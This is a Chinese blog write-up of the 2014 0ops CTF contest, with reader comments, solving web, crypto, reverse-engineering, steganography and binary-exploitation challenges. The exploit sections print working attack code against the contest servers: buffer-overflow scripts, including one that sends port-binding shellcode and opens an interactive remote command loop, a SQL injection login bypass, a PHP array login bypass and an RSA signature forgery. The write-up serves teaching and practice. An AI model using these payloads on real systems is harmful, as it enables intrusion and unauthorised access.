0ops CTF/0CTF writeup
0×00 0CTF
『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导,由上海交通大学信息网络安全协会承办,是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。 比赛时间为北京时间2014年3月1日至2日,每天7时至23时,共32小时。』
看官方微博,这个比赛本来是面向上交校内的,就是校外可以做题但是不发奖,后来也给校外发奖了,整体感觉还不错,好多大牛过来刷题了,没有挤进前六名去……不过当做BCTF的一次练手吧,平时都在实验室打酱油,做个比赛还是可以学到不少东西的。写个Blog记录一下过程,题目只做简单描述,具体可以看官方页面http://ctf.0ops.net,要登录才能看到题目,不知道现在还能否注册。
0×01 [Web]Spy
[题]简单的Web题目,总共四关,每一关都要输入数字,并保证输入的数字比服务器给的大。
1. text框最多输入3位数字,服务器随机返回4位数字,这个审查元素改一下maxlength属性就好了;
2. text框最多输入3位数字,服务器随机返回数字,这个改maxlength属性不然过,但是发现服务器偶尔会返回三位数字,这样的话一直提交999,总会过的;
3. 看谁出的数的倒数比较小谁就算赢!输入-1直接过了;
4. 每人给出一个数,然后比谁的数的EVIL值大。啥是EVIL值?就是该数字每位ASCII码的乘积呗,比如’123′这个数,三位数字的ASCII码分别是49, 50, 51乘起来是124950,这个就是123这个数的EVIL值。这个题最多输入6位,服务器的EVIL值很大,不过输入0xFFFF就过了;
0×02 [Crypto]Classic
[题]小丁丁发现自己置身于一个诡异的房间,面前只有一扇刻着奇怪字符的门。 他发现门边上还有一道密码锁,似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb
[解]这个比较诡异……通过键盘布局解密:0ops
0×03 [Misc]IPv4
[题]截止到2014.2.23,亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个?
[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为:
apnic|CN|ipv4|1.2.2.0|256|20110331|assigned
等级机构|获得该IP段的国家/组织|资源类型|起始IP|IP段长度|分配日期|分配状态
0×04 [Exploit]Welcome
[题]在服务器202.120.7.6:32323上运行了一个程序,溢出拿KEY。
[解]IDA分析程序,B函数可以溢出:
char *__cdecl B()
{
char *result; // eax@1
char s; // [sp+1Ch] [bp-40Ch]@1
int v2; // [sp+20h] [bp-408h]@1
__int16 v3; // [sp+24h] [bp-404h]@1
char v4; // [sp+26h] [bp-402h]@1
int v5; // [sp+41Ch] [bp-Ch]@1
v5 = 0;
memset(&s, 0, 1016u);
puts("Welcome to 0ops CTF.");
fflush(stdout);
gets(&s);
result = &s;
*(_DWORD *)&s = *(_DWORD *)"HelloKitty";
v2 = *(_DWORD *)&aHellokitty[4]; // o
v3 = *(_WORD *)&aHellokitty[8]; // t
v4 = aHellokitty[10]; // \0
if ( v5 ) // 覆盖到v5即可
// 1016+4+2+1=1023 多覆盖一个byte即可
{
fd = (int)fopen("./flag.txt", "r");
__isoc99_fscanf(fd, "%s\n", &s);
puts(&s);
result = (char *)fflush(stdout);
}
return result;
}
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.6', 32323))
print sock.recv(1024)
sock.send('a'*1025+'\n') # 一定要有\n
print "send done"
print sock.recv(2048)
sock.close()
[题]小丁丁在无意中发现了一个对方的内部登陆系统,可惜他不知道用户名和密码,该怎么办呢?
[解]简单的SQL注入,用户名输入下面的代码即可:
'or 1=1#
[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的(Salted),但是 没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾,想要从中找到一些线索。这一次,他捡到了某个员工的备忘小便签:
WORD is a common english word
len(WORD) = 4
md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'
HASH = md5(WORD)
FLAG = 0ops{HASH}
0×07 [Crypto]JohnCode
[题]小丁丁伪装成内部员工潜入了邪恶黑客组织,在群邮件中,他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码,陷入了深深的沉思。 你能帮他破解这个囧呆马吗?
eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=
JohnCode加密算法源代码:
import hashlib
def johncode(msg, key):
token = hashlib.md5(key).digest()
res = ""
password = "0ops Capture The Flag"
for c in msg:
n = ord(c) ^ 0xde ^ 0xad ^ 0xbe ^ 0xef
for i in xrange(16) :
n ^= ord(password[i]) ^ ord(token[i])
res += chr(n)
token = hashlib.md5(chr(n)).digest()
return res.encode('base64').encode('rot13')
import hashlib
def getConstXor():
return 0xde ^ 0xad ^ 0xbe ^ 0xef
def getPwdXor():
password = "0ops Capture The Flag"
res = 0
for i in xrange(16):
res ^= ord(password[i])
return res
def getMd5Xor(val):
token = hashlib.md5(val).digest()
res = 0
for i in xrange(16):
res ^= ord(token[i])
return res
if __name__ == "__main__":
ctftext = "eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="
ciphertext = ctftext.decode("rot13").decode("base64")
ctlen = len(ciphertext)
constXor = getConstXor()
pwdXor = getPwdXor()
i = ctlen - 1
msg = ""
while i >= 1:
tokenXor = getMd5Xor(ciphertext[i-1])
msg = msg + chr(ord(ciphertext[i]) ^ tokenXor ^ pwdXor ^ constXor)
i = i - 1
# msg = }4660b46c5eb87b6e4b618a2804b40ee4{spo
msg = msg[::-1]
# msg = ops{4ee04b4082a816b4e6b78be5c64b0664}
# 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}
[题]APK逆向分析:http://ctf.0ops.net/attachment/download/EndlessWaltz.zip
[解]解压APK得到classes.dex,然后使用dex2jar得到jar文件,然后使用JD-GUI就可以看Java代码了,就是几个字符串替换和BASE64加解密。
0×09 [Misc]FakeUser
[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯,就在比赛开始前一天,小丁丁突然发现备份似乎被人修改了,似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了,这可怎么办?
注意:此题的FLAG是取 所有虚假账户的ID之和,求MD5,再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}
[解]将SQL文件导入数据库,提示换行符不一致!所有换行符为\r\n的都是假的账户。
0x0A [Exploit]Login
[题]溢出服务器上的一个程序,位于202.120.7.110:55632
[解]getpath函数中,gets可以溢出,最后调用了strdup,这个函数会分配一段空间保存输入的内容,把返回地址覆盖为call eax的地址,那么返回的时候就会执行shellcode了。
char *__cdecl getpath()
{
char s; // [sp+8h] [bp-25Ch]@1 [604]
void *v2; // [sp+260h] [bp-4h]@1
unsigned int v3; // [sp+268h] [bp+4h]@1
printf("Input Name Please: ");
fflush(stdout);
gets(&s); // 获取输入
v2 = (void *)v3; // v3 == 608
if ( (v3 & 0xB0000000) == 0xB0000000 )// 覆盖返回地址, 返回地址存入v3
{
printf("HEHE (%p)\n", v2);
_exit(1);
}
printf("Got Name %s\n", &s);
return strdup(&s); // 分配空间复制字符串, 返回值指向复制的字符串
}
.text:08048A4B call eax ; __CTOR_LIST__
def testServer():
# http://www.shell-storm.org/shellcode/files/shellcode-370.php
# port : 5074
shellcode = ("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+
"\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04" +
"\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD" +
"FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN" +
"IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB" +
"IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#sock.connect(('192.168.218.129', 55632))
sock.connect(('202.120.7.110', 55632))
print sock.recv(1024)
#sock.send('A'*608+'\xB0'*4+'\n')
sock.send(shellcode + '\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')
print "send done"
print sock.recv(2048)
print sock.recv(2048)
while True:
acmd = raw_input("CMD> ")
sock.send(acmd)
sock.send(acmd)
print sock.recv(2048)
time.sleep(0.1)
[题]给定一个setup.exe,求KEY。
[解]setup.exe,是个安装包,要求输入密码才能安装。开始直接调试这个程序,发现根本断不下来,发现创建了子进程,于是调试子进程,发现用了MD5、SHA以及CRC32算法,后来差一下发现是个Inno Setup的安装包,然后我还找到了能够绕过密码直接提取文件的程序(当然找了好几个才发现一个叫做InnoExtractor的程序),于是直接把里面的EXE抠出来了,是g++编译的,我电脑装了还跑不起来,可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下,key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO,我用Google搜的时候,提示我是EL_PSY_CONGROO。
El Psy Congroo在动画《命运石之门》播出之后才火起来的。
冈部伦太郎使用了很久用意义不明的话,能够自我暗示,使自己镇静下来。
0x0C [Web]Signal
[题]绕过网站登陆。
[解]给提示了,这题和数据没关系,和PHP的一些检查方式有关系……审查元素,修改password字段名字(在name字段的值后面加上数组符[]),输入任意密码提交:
<form class="form-signin" action="login_ok.php" method="post">
<h2 class="form-signin-heading">Please sign in</h2>
<input type="text" class="input-block-level" name="id" value="159.226.43.61" readonly="">
<input type="password" class="input-block-level" name="ps[]" placeholder="Password">
<label class="checkbox">
<input type="checkbox" value="remember-me"> Remember me
</label>
<button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>
[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名,他就可以得到最高权限啦!幸运的是,小丁丁又一次拿到了它的源码。
[解]考察数论相关的知识了。
同余形式:若a % N = A 且 b % N = B,那么有(ab) % N = (AB) % N;
同理对于RSA有:若a^d % N = A 且 b^d % N = B,那么有[(a^d)*(b^d)] % N = (AB) % N;
现在服务器能够返回给定任意数据a,返回a^d % N的值A,如果能拿到0ops(假设转化为数值之和为c)的返回值:c^d % N = C,即拿到C的值就可以拿到KEY了。
a^d % N = A
b^d % N = B
c^d % N = C
2^d % N = A
4^d % N = B 即 (2*2)^d % N = B
8^d % N = C 即 (2*2*2)^d % N = C
有M = GCD(A*A-B, A*A*A-C)
注意这里求出的M可能是kN,也就是是N的倍数,如果运气好就是N了,不然要多找几次。
import time
import socket
import string
def int2str(n):
charset = string.digits + string.letters
p = len(charset) + 1
s = ""
while n:
s = s + charset[n%p-1]
n /= p
return s[::-1]
def str2int(s):
"""
map
'0' => 1
'1' => 2
...
'9' => 10
'a' => 11
...
'z' => 36
'A' => 37
...
'Z' => 62
"""
charset = string.digits + string.letters
p = len(charset) + 1
r = 0
for c in s :
r = r * p + charset.index(c) + 1
return r
def getFactor():
ops = str2int('0ops')
a = b = 0
for i in range(2, ops):
if ops % i == 0:
a, b = i, ops/i
print "%d * %d = %d" % (a, b, ops)
break
sa = int2str(a)
sb = int2str(b)
print "%d --> %s" % (a, sa)
print "%d --> %s" % (b, sb)
return sa, sb
def getAuthKey(s):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.5', 38241))
sock.recv(2048)
time.sleep(0.5)
sock.recv(2048)
sock.send('1\n') # register
sock.recv(2048)
time.sleep(0.1)
sock.send(s + '\n')
sock.recv(2048)
authKey = sock.recv(2048)
sock.close()
print "Username: %s" % s
print authKey
return authKey.strip()
def getGCD(a, b):
if a < b:
a, b = b, a
while b != 0:
tmp = a % b
a = b
b = tmp
return a
def getN():
userlist = [2, 4, 8]
keylist = []
for user in userlist:
keylist.append(int(getAuthKey(int2str(user))))
diff = []
diff.append(pow(keylist[0], 2) - keylist[1])
diff.append(pow(keylist[0], 3) - keylist[2])
return getGCD(diff[0], diff[1])
def getFlag(authKey):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.5', 38241))
sock.recv(2048)
time.sleep(0.5)
sock.recv(2048)
sock.send('2\n') # login
sock.recv(2048)
time.sleep(0.1)
sock.send('0ops\n') # username
sock.recv(2048)
time.sleep(0.1)
sock.send(str(authKey) + '\n') # authKey
print sock.recv(2048)
print sock.recv(2048)
sock.close()
if __name__ == "__main__":
sa, sb = getFactor()
ka = getAuthKey(sa)
kb = getAuthKey(sb)
kab = int(ka) * int(kb)
print "authKey[%s] * authKey[%s] = \n%d\n" % (sa, sb, kab)
n = getN()
print "N = \n%d\n" % n
flagKey = kab % n
print "authKey[0ops] = \n%d\n" % flagKey
getFlag(flagKey)
raw_input("<Enter>")
"""
163 * 2153 = 350939
163 --> 1A
2153 --> xa
Username: 1A
21533328170418378084667829333241475137237189840136413341659043482256097510873406
80778085936300557220305925866245746162556818225595325428891118543277776000224693
94153804439920506389342914152518686076142925020261268165134548156640326678913058
32183740222011549816792593422992831392821041521696985409510603614521305240365730
69993107868111616188102944903092890088304093759066757333321808861343015436285431
83423748039157813181828728529338570079483125070881458603012233228629889625998610
77837188029428966569684473488137929071603810228867022108243630344706359935318974
659363579802989602917857042437294261061356335491933174051
Username: xa
25488744768722406399022993210073505421411878358623824552700157019662731668788913
29696762464701716291111290751757383920248775850436486970351641724147165259120289
88289621607449227239688925130507701532735104032594188602562364841462980159493017
96811103500139479056818978083991583831585928689088971640016014467405404108823622
37555222332241091523009935298355178015132729923435885189369662045864007701562485
91622365205822004617452169129111881126526480558419450732992640082382159767752794
22962647696103667805075981389049729228576300327608699296783543259431738187799821
731862053896502779740294350970620551593589183858097468202
authKey[1A] * authKey[xa] =
54885750575693426083919531510934514350135708923403345930121911623724478234602268
27979542454055898817768822046755196649628234154462632065635709315217301905443578
15053213360938990523525651515977264898624869669693382733171731889768054632085639
40081552196281561143501153944763925013800347447018887135453722798415734016750151
92184836862276059791184086691283031159039851810771777962934768576429259231364133
41834110889564427268927559492552852974023169921476230425928104005016422929418070
39593591140411537137125967387946130071547972790632118133896625499729357543308816
65448091364193997682005248870200041504023381016446066909023878970529319079800086
13808551432638083920706237377055192075931504657100138782762634126828570096626000
21740987778485284470130972040488510155441233144261202690270073340308044559909236
88022604483095012235643404016986395825071264788489401081410846239399008256383444
27783542166239774991615310457893021925122329284187579913245305211704054543963112
46617591745725112264275325834238989453825259130717300416524844869106838890002150
13539418987344763704144532367013919237191922725980132605207837102132907895624432
66607899392071332859380943060605852067363066333823230424467584589398587263860042
119105342842310261180736904026302
Username: 1
22162592382709279239675078287209487170257682361511277398481832147372823215451206
29012234993254397116315506291018552849006256580425529369872729697550238374739494
48772829679652923225545207924144536536130669962018422146411134841875616397357134
29568880006878286534623642415790091356045364443763159224635646171861388242085726
97265299606708141770914574335615303479761746656913880214780405285865156974703663
68707812547485603274962190456901154898407556530407582248442240935713344954001743
70460314565217400045829838047916742777893191557151837606275064117735853844147609
312638348348883587842186583304381307199776987787088683213
Username: 3
18555505824880771273727540829711672221676629831658469028977988584440554873780436
45137773386560133644983364637659004337061718305660923166817411197766375793405718
05103029732367220924127309328528302634299493223853139595279355089050203206293974
86840898999244645854695909576241621143659347688557261209638462191011865971149242
79464762884238981766433085461726300411125242999959696850859594687622334871918471
71670809991958427666213019092095767990137873589365923128683417543694089792152878
77150847918268764278582616037769773086098337088950812318405615762304350575303071
079091404763125577831379208432103400658648842256675379806
Username: 7
52482204868424933403557570627260487449813958439686870244092838847494332548446073
45602512803692746763888792435320054869228129209697946733034825577367868675415020
40650190376660294128759355299952166682183127812142558455298025750832300811952889
86463990447494116385230643606657822311838848399664307028247794759330657294253921
87875591907107721872039909705488324146809722005199670346002505042495876768793064
69944991228386536399164224058905493762703168633149946839305007134191114427394941
72485062533747457130652067041438480378568459966504351977884309118621219929633189
06584017724632422879044239426508028014318144849268674008
N =
29610211050329808378232545552699749436594480437122054986865680099884890513872850
75525661987282310273914255054387679145058167010821716155270450004228110100462580
61209364757602907910617119263438600005472312713489338816033264709490529535130190
96378961760344107740968951046321793825376720940083912117401942507142416424502224
52716016867059810410289101671971086362182186474576259372154998140093546592864747
64210175590855355005120986623171403794224031596995562230659609347027503141992475
47770245690981730429515128740909571870394089884652117078715034645606613009469198
724251507254450039197449345504428016016268512178144465269
authKey[0ops] =
13110205844472582078508561586009616010511440950399464874188864349291652777783298
99881232052318532954986646824467063842227828770517196037207171044544695490940912
12423450401458576493793741404979648318705923086553715197114747437125272098839105
53827198360050895608734309931663997144339422020764921090587199992980596843329551
10835974076198749267323036625564956690953923683306767300917098380913656898698173
63407386614802670044895487509786218738456054495098285103711261589674380370321433
35083314522191405782002192706825562995912444112388730499459139167637817864843651
545728753985843329656352477751861819954384211132836924156
You win!
Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}
"""
[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下,然而却被告知你太嫩了,我们先不玩别的先来盘游戏吧,如果赢了我,再来谈技术的问题也不迟啊哈哈哈哈哈。
[解]这个是个取石子游戏,大家应该见过,OJ上面也会常见,虽然我连这个也不会,不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你,你要最后面拿光所有的石子,你就赢了这一个round。
也就是Nimm Game,有k堆石子,两个人轮流从某一堆取任意多的物品,规定每次至少取一个,多者不限。取走最后石子的人获胜。
引入一个概念,平衡状态,又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。
每个玩家都会努力使自己抓完石子之后的局势为平衡,将这个平衡局势留给对方。因此,玩家A能够在初始为非平衡的
游戏中取胜,玩家B能够在初始为平衡的游戏中取胜。
最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0),只要对手总是和我拿走一样多的物品,最后会面对
(0,0...,0)。
奇异局势的判定:
对于一个普通的局势,如何判断其是不是奇异局势?对于一个局势(s1,s2,...sk),对所有石子个数做位的异或运
算,s1^s2^s3^...^sk,如果结果为0,那么局势(s1,s2,...sk)就是奇异局势(平衡),否则就不是(非平衡)。
从二进制位的角度上说,奇异局势时,每一个bit位上1的个数都是偶数。
玩家的策略:
就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后,使得每一个bit位上1的个数
都变为偶数,这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值(如果这个值
比原来的石子数小的话)。
参见:http://blog.csdn.net/ojshilu/article/details/16812173
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import sys
def parseInput(s):
idx = s.find("I pick") # 过滤无关数据
if idx != -1:
s = s[idx:]
idx = s.find("There are totally") # 过滤无关数据
if idx != -1:
s = s[idx:]
lines = s.split('\n')
res = []
for l in lines:
l = l.strip()
data = l.split(': ')
if len(data) == 2 and data[0].find("Pile") != -1:
res.append(int(data[1]))
return res
def pickStone(s):
l = len(s)
maxCount = 0
idx = 0
for i in range(0, l):
tmp = 0
for j in range(0, l):
if j == i:
continue
tmp = tmp ^ s[j]
if tmp < s[i]:
if maxCount < s[i]-tmp:
maxCount = s[i]-tmp
idx = i
return (idx, maxCount)
if __name__ == "__main__":
#redirectOutput()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('202.120.7.108', 17733))
print sock.recv(4096)
while True:
data = sock.recv(4096)
print data
arr = parseInput(data)
print arr
idx, count = pickStone(arr)
sock.send("%d\n" % idx)
print "%d" % idx
data = sock.recv(4096)
print data
sock.send("%d\n" % count)
print "%d" % count
print sock.recv(4096)
[题]图片隐写术
[解]图片无限放大之后会发现右上角有四个小点,这里面隐藏了信息,当然这里全是一堆红色,看起来相当的晃眼!!这里面的像素点存在色差,我们需要对其进行二值化处理。下图是截取的一个图,我给四个小点画了个圈,只是为了方便各位看官辨别。
大家可以把原图下载下来放大之后,在信息隐藏区域取色就能看到色差(比如QQ截图工具就有取色功能)
正常的背景色RGB是(235,1,2),四个边界点的RGB是(225,0,0),鼠标在区域内移动的时候,有两个RGB值,分别是(235,1,2), (236,1,2),看到了没,(235,1,2)就是背景色的RGB值。
刚开始以为这个是二维码,就把背景色设置为白色(255,255,255),把四个边界点的颜色设置为蓝色(0,0,255),把二维码中的颜色设置为黑色(0,0,0),以为差不多就OK了,谁知道这货不是二维码,是二进制信息。
隐藏信息的区域我画了个圈,从图中可以看出,如果白色代表0,黑色代表1,我们转成二进制得到0×30和0x6F,这就是0和o,也就是Flag的前缀0ops了,完善一下代码就有key了。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import string
from PIL import Image
"""
# It's not QR code :)
def showQRCode(fpath):
bmp = Image.open(fpath)
pix = bmp.load()
w, h = bmp.size
for x in xrange(0, w):
for y in xrange(0, h):
if pix[x, y] == (235,1,2):
pix[x, y] = (255,255,255)
elif pix[x, y] == (225,0,0):
pix[x, y] = (0, 0, 255)
elif pix[x, y] == (236, 1, 2):
pix[x, y] = (0, 0, 0)
else:
pix[x, y] = (255, 255, 255)
bmp.save(fpath)
"""
def getFlagHex(fpath):
bmp = Image.open(fpath)
pix = bmp.load()
w, h = bmp.size
c = []
for y in xrange(0, h):
for x in xrange(0, w):
if pix[x, y] == (225,0,0):
c.append((x, y))
flag = ""
for y in xrange(c[0][1]+1, c[2][1]):
x = c[0][0] + 1
for i in xrange(0, 4):
ch = 0
for j in xrange(0, 4):
tmp = 0
if pix[x+i*4+j, y] == (236, 1, 2):
tmp = 1
ch = (ch<<1) + tmp
flag = flag + ("%x" % ch)
bmp.save(fpath)
return flag
def getFlag(flagHex):
flag = ""
tmp = 0
for i in xrange(0, len(flagHex)):
val = string.hexdigits.index(flagHex[i])
if i&1:
flag = flag + chr(tmp*16 + val)
tmp = 0
else:
tmp = val
return flag
if __name__ == "__main__":
flagHex = getFlagHex("girl.bmp")
flag = getFlag(flagHex)
raw_input(flag)
[题]在服务器202.120.7.111:44774上运行了一个程序,提供奇怪的web服务,能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密?注意:没有NX以及aslr。提供libc.so.6文件下载。
[解]这个是GOT表覆盖与printf格式化写任意内存漏洞,exploit-exercises上面的format最后一题和这个类似,不过只怪我当时候没有认真做题,这个题就没交了……囧rz,这个题有空再补上吧。
作者:代码疯子(Wins0n)
转载地址:http://www.programlife.net/0ops-ctf-writeup.html
比赛地址:http://ctf.0ops.net
帐号 1 密码 1
不要该密码 号不是我的
评论10次
CTF板块好冷清
感谢LZ分享 出题的也很牛B
这是密室逃脱吗
看到图片我也是醉了..
思路很精妙啊,牛逼,多谢分享
都是大牛啊
相当精彩的表演。BCTF继续期待。
头大...作者NB啊..路漫漫其修远xi....吾将上下而求索!
这还是要靠经验和实力呀! 我玩 [Web]Spy 到最后一关就卡住了...
吓尿了,这真的太厉害了。。。运气与实力啊